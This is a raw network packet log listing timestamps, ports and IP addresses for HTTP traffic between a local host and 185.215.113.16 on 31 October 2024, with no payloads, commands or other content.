Oct 31, 2024 23:38:09.999897957 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999898911 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999907017 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999917030 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999926090 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999933004 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999936104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:09.999959946 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:09.999985933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000011921 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000021935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000031948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000060081 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000077009 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000083923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000094891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000102997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000113964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000123024 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000123024 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000138044 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000138998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000148058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000160933 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000180006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000197887 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000209093 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000217915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000230074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000248909 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000261068 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000305891 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000313997 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000322104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000333071 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000343084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000349045 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000354052 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000364065 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000386953 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000402927 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000411987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000416040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000421047 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000433922 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000443935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.000447035 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000464916 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.000478983 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031136990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031215906 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031271935 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031281948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031291008 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031300068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031317949 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031341076 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031363010 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031552076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031560898 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031570911 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031603098 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031608105 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031616926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031622887 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031625986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031636000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031642914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031661034 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031666040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031675100 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031682014 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031685114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031707048 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031732082 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031793118 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031802893 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031810999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031821966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031831980 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031837940 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031841040 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031847000 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031852961 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031862974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031877041 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031889915 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.031984091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.031994104 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032002926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032011986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032021046 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032021999 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032032013 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032046080 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032048941 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032058001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032067060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032069921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032077074 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032083035 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032087088 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032095909 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032104015 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032105923 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032128096 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032154083 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032193899 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032203913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032212973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032222986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032228947 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032233000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032239914 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032247066 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032255888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032258987 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032269001 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032279968 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032284975 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032289982 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032327890 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032345057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032346964 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032356977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032365084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032375097 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032383919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032392979 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032403946 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032413006 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032413960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032423019 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032429934 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032461882 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032510042 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032546043 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032550097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032556057 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032582998 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032596111 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032916069 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032926083 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032937050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032953978 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032963991 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032964945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.032974005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032984018 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.032988071 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033001900 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033025980 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033205986 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033216000 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033240080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033256054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033267021 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033277988 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033339977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033349991 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033359051 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033369064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033379078 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033384085 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033389091 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033397913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033406973 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033410072 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033452988 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033683062 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033694029 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033703089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033720970 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033744097 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033767939 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033777952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033787966 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033798933 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033807993 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033818960 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033843994 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033895016 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033904076 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033912897 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033924103 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033934116 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033935070 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033945084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.033947945 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033960104 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.033976078 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034025908 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034034967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034048080 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034056902 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034064054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034066916 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034077883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034082890 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034086943 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034096956 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034104109 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034106970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034130096 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034138918 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034154892 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034163952 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034173012 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034183025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034193039 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034202099 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034212112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034215927 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034234047 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034276962 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034360886 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034370899 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034379005 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034394979 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034400940 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034404993 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034415960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034421921 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034425974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034446955 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034459114 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034518003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034528971 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034538031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034554958 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034564018 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034694910 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034709930 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.034737110 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.034758091 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035212994 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035222054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035233021 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035259962 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035269976 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035275936 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035279989 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035290003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035300970 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035305977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035322905 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035330057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035363913 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035373926 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035382032 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035391092 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035402060 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035410881 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035415888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035432100 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035466909 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035490990 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035501003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035515070 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035525084 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035526991 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035533905 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035536051 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035543919 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035554886 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035557032 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035581112 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035598040 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035605907 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035617113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035626888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035644054 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035654068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035660982 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035670996 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035681009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035691977 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035691977 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035715103 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035734892 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.035868883 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035880089 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.035913944 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036003113 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036012888 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036021948 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036030054 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036040068 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036047935 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036051035 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036061049 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036063910 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036070108 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036070108 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036082983 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036098003 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036102057 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036108971 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036118031 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036120892 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036128998 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036138058 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036149025 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036158085 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036159992 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036166906 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036170959 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036178112 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036214113 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036223888 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036250114 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036259890 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036268950 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036278009 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036288023 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036294937 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036298037 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036307096 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036308050 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036318064 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036326885 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036329985 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036371946 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036376953 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036386967 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036395073 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036408901 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036418915 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036428928 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036438942 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036439896 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036452055 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036468983 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036513090 CET	49806	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:10.036592960 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036602974 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036612034 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036621094 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036631107 CET	80	49806	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:10.036639929 CET	49806	80	192.168.2.4	185.215.113.16
